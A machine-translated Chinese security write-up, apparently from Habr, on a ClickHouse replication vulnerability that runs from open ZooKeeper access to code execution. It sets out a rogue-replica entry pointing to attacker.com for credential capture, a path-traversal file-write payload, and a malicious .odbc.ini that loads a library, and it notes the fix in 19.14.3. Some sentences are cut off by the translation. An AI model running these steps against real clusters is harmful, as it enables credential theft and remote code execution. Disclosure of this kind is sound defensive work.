本文將講述 ClickHouse 複製協定中一個非常具體的漏洞的故事,也將展示如何擴展攻擊面。
ClickHouse 是一種用於儲存大量資料的資料庫,通常使用多個副本。 ClickHouse 中的群集和複製是建立在之上的
預設的ZK安裝不需要身份驗證,因此用於配置Kafka、Hadoop、ClickHouse的數千台ZK伺服器是公開可用的。
為了減少攻擊面,您應該在安裝 ZooKeeper 時始終配置身份驗證和授權
當然有一些基於 0day 的 Java 反序列化,但想像攻擊者可以讀取和寫入用於 ClickHouse 複製的 ZooKeeper。
當配置為叢集模式時,ClickHouse支援分散式查詢 /clickhouse/task_queue/ddl
.
例如,您建立一個節點 /clickhouse/task_queue/ddl/query-0001
內容:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
之後,叢集伺服器host1和host2上的測試表將被刪除。 DDL 也支援執行 CREATE/ALTER/DROP 查詢。
聽起來很可怕嗎? 但是攻擊者可以從哪裡獲得伺服器位址呢?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
將創建節點 列 и 元數據.
內容 /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
是否可以合併該集群中的資料? 是的,如果複製連接埠(TCP/9009
) 在伺服器上 chXX-address
防火牆不會關閉,並且不會配置複製身份驗證。 如何繞過身份驗證?
攻擊者只需複製 ZK 中的內容即可在 ZK 中建立新副本 /clickhouse/tables/01-01/foobar/replicas/chXX
並改變意義 host
.
內容 /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
然後你需要告訴其他副本,攻擊者的伺服器上有一個新的資料塊需要他們取得-在ZK中創建了一個節點 /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX單調增長計數器,應大於事件日誌中的最後一個):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
哪裡 來源_副本 — 在上一個步驟中建立的攻擊者副本的名稱, 區塊ID — 資料塊標識符, 獲得 - 「取得區塊」指令(和
接下來,每個副本都會讀取日誌中的一個新事件,並前往攻擊者控制的伺服器接收資料塊(複製協定是二進位的,運行在 HTTP 之上)。 伺服器 attacker.com
將收到請求:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
其中 XXX 是用於複製的身份驗證資料。 在某些情況下,這可能是透過主 ClickHouse 協定和 HTTP 協定存取資料庫的帳戶。 正如您所看到的,攻擊面變得非常大,因為用於複製的 ZooKeeper 沒有配置身份驗證。
讓我們來看看從副本中獲取資料塊的功能,它的編寫充滿信心,所有副本都處於適當的控制之下並且它們之間存在信任。
複製處理程式碼
函數會讀取檔案列表,然後讀取它們的名稱、大小、內容,然後將它們寫入檔案系統。 值得單獨描述資料如何儲存在檔案系統中。
裡面有幾個子目錄 /var/lib/clickhouse
(設定檔中的預設儲存目錄):
標誌 - 錄音目錄
TMP — 儲存暫存檔案的目錄;
使用者檔案 — 請求中檔案的操作僅限於此目錄(INTO OUTFILE 等);
元數據 — 帶有表格描述的 sql 檔案;
預處理配置 - 處理衍生性設定檔 /etc/clickhouse-server
;
數據 - 包含資料本身的實際目錄,在這種情況下,為每個資料庫簡單地在此處建立一個單獨的子目錄(例如 /var/lib/clickhouse/data/default
).
對於每個表,都會在資料庫目錄中建立一個子目錄。 每個欄位都是單獨的文件,取決於
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
副本期望在處理資料區塊時接收具有相同名稱的文件,並且不以任何方式驗證它們。
細心的讀者可能已經聽說過函數中 file_name 的不安全串聯 WriteBufferFromFile
。 是的,這允許攻擊者以使用者權限向 FS 上的任何檔案寫入任意內容 clickhouse
。 為此,攻擊者控制的副本必須傳回以下對請求的回應(為了便於理解已新增換行符號):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
並連接後 ../../../../../../../../../tmp/pwned
該文件將被寫入 /tmp/pwned 有內容 你好來自動物園管理員.
有多種選項可將文件寫入功能轉變為遠端程式碼執行 (RCE)。
RCE 中的外部字典
在舊版本中,ClickHouse設定的目錄是用使用者權限儲存的 點擊之家 預設. 設定檔是服務在啟動時讀取然後快取在其中的 XML 文件 /var/lib/clickhouse/preprocessed_configs
。 當發生變化時,它們會被重新讀取。 如果您有權訪問 /etc/clickhouse-server
攻擊者可以創建自己的 root
.
ODBC 到 RCE
安裝套件時,會建立一個用戶 clickhouse
,但未建立其主目錄 /nonexistent
。 但是,當使用外部字典時,或由於其他原因,管理員會建立一個目錄 /nonexistent
並給用戶 clickhouse
訪問寫入它(SSZB! 約譯員).
ClickHouse 支持 odbc-bridge
,因此無法再從請求中指定驅動程式路徑。 但攻擊者可以利用上述漏洞寫入主目錄嗎?
讓我們建立一個文件 ~/.odbc.ini
內容如下:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
然後在啟動時 SELECT * FROM odbc('DSN=lalala', 'test', 'test');
該庫將被加載 test.so
並收到 RCE(感謝
這些漏洞和其他漏洞已在 ClickHouse 版本 19.14.3 中修復。 照顧好你的 ClickHouse 和 ZooKeeper!
來源: www.habr.com